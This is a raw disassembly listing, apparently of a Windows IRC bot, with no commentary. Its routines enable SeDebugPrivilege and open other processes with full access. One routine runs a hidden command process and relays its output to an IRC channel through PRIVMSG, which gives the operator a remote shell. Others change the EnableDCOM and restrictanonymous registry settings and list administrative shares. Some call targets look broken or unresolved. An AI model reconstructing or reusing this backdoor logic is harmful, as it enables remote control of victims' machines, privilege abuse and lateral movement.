		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 26F0B2Dh
		nop
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CB644
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB4E4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB538
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0B2Dh
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439F80
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_439F5C
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439F38


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26707D9h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26F0B2Dh
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2650937h


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 439D7Ch, 6B17E890h, 0E3EB0225h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB8A8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB8B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB8A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8AC
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D7D8
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	near ptr 2670535h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8B4


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8A8
		nop
		call	near ptr 2830818h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8A4
		nop
		call	near ptr 2830391h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2670535h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8A8
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_43A008
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439FB0
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433BCC
		push	esi
		call	dword_4CB6E0
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8AC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D7D8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650CB8h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8A8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8B0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8A4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB8E8, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB8B4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A06C
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E568[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		call	near ptr 2670579h
		nop
		cmp	eax, esi
		mov	dword_43E574[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A038
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB6F4, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438DE0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB648
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_43A308
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_43A2E8


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2B8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB648
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_43A268
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_43A234


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_43A1F8
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_43A1C8


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB71C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB568
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_43A090


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_43A1A4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_43A178


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A0B0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_43A154
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_43A128


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB6B4


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A0D0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB6F4, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438E24
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB648
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_43A480
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_43A464


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2B8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_43A424
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_43A3EC


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_43A3B0
